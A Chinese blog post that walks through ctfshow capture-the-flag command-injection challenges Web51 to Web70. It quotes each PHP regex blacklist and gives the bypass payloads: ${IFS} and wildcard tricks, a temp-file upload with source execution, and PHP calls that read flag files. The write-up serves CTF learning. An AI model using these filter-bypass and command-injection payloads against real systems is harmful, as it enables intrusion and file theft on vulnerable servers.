当前位置: 首页 > news >正文

rce漏洞-ctfshow(50-70)

Web51

 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }

Nl,绕过tac,cat,绕过flag

Payload

?c=nl<fla''g.php||

?c=nl<fla\g.php||

Web52

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web53

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

        echo($c);

        $d = system($c);

        echo "<br>".$d;

}

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web54

if(isset($_GET['c'])){

    $c=$_GET['c'];

    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

        system($c);

    }

}else{

    highlight_file(__FILE__);

}

绕过|.*f.*l.*a.*g.*|

这里的/bin/是指bin目录下检索c??,不然在当前目录是没有这个命令的

Payload:

url + ?c=/bin/?at${IFS}f???.php

url + ?c=vi${IFS}f???.php

Web55

无字母rce

Payload1:

?c=/???/????64 ????.???

意思为:?c=/bin/base64 flag.php

Payload2:

url + ?c=/???/???/????2 ????.???

url + flag.php.bz2

利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载。

bzip2 命令压缩后的文件以 “ .bz2 ” 为后缀

Web56

无数字字母rce

构造html

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>POST数据包POC</title>

</head>

<body>

<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

<!--链接是当前打开的题目链接-->

    <label for="file">文件名:</label>

    <input type="file" name="file" id="file"><br>

    <input type="submit" name="submit" value="提交">

</form>

</body>

</html>

替换<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

的链接

payload:

?c=.%20/???/????????[@-[] 

原理:

Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。

Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。

ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。

Web57

对 -37 再次取反即可得到 36。

根据 $((~ $(()) ))=-1,我们进行拼接,构造出 -37

Payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

Web58

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

Web59-65

同58的做题一样

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

web66

扫描目录

c=print_r(scandir('/'));

Paylaod:

c=show_source('/flag.txt');

c=highlight_file("/flag.txt");

c=file_get_contents('/flag.txt');

Web67-70

扫描目录

c=var_dump(scandir('/'));

c=var_export(scandir("/"));

Payload

c=include("/flag.txt");

http://www.lryc.cn/news/405734.html

相关文章:

  • vulntarget-a靶机-复现报告
  • 为什么 FPGA 的效率低于 ASIC?
  • 使用水星Mecury人形机器人搭建VR遥操作控制平台!
  • 【学习笔记】无人机系统(UAS)的连接、识别和跟踪(三)-架构模型和概念
  • uniapp bug解决:uniapp文件查找失败:‘uview-ui‘ at main.js:14
  • Python 爬虫(爬取百度翻译的数据)
  • 【LeetCode:2766. 重新放置石块 + 哈希表】
  • [C++]类的自动转换和强制类型转换
  • 根据鼠标所在位置获取组件拿到 “qt_scrollarea_viewport” 组件的问题
  • 深入浅出WebRTC—LossBasedBweV2
  • 就业难?誉天Linux云计算架构师涨薪班,不涨薪退学费
  • 从零开始!Jupyter Notebook的安装教程
  • FastAPI(七十)实战开发《在线课程学习系统》接口开发--留言功能开发
  • 04-数据库MySQL
  • 神经网络理论(机器学习)
  • JNI回调用中不同线程的env无法找到正确的kotlin的class
  • 免费HTML模板网站汇总
  • 大屏数据看板一般是用什么技术实现的?
  • 在 Kubernetes 中设置 Pod 优先级及其调度策略详解
  • Spring框架、02SpringAOP
  • 基于python的网络爬虫爬取天气数据及可视化分析
  • 【WPF开发】上位机开发-串口收发
  • ubuntu开启 远程登录 允许root远程登录
  • 《昇思25天学习打卡营第23天|RNN实现情感分类》
  • 机械设计基础B(学习笔记)
  • MybatisPlusException: Error: Method queryTotal execution error of sql 的报错解决
  • 人工智能领域的顶尖影响力人物(部分代表)
  • Python:jsonl文件转json文件,并做字段处理
  • 安全产品在防御勒索病毒中的作用
  • NVIDIA 完全过渡到开源 GPU 内核模块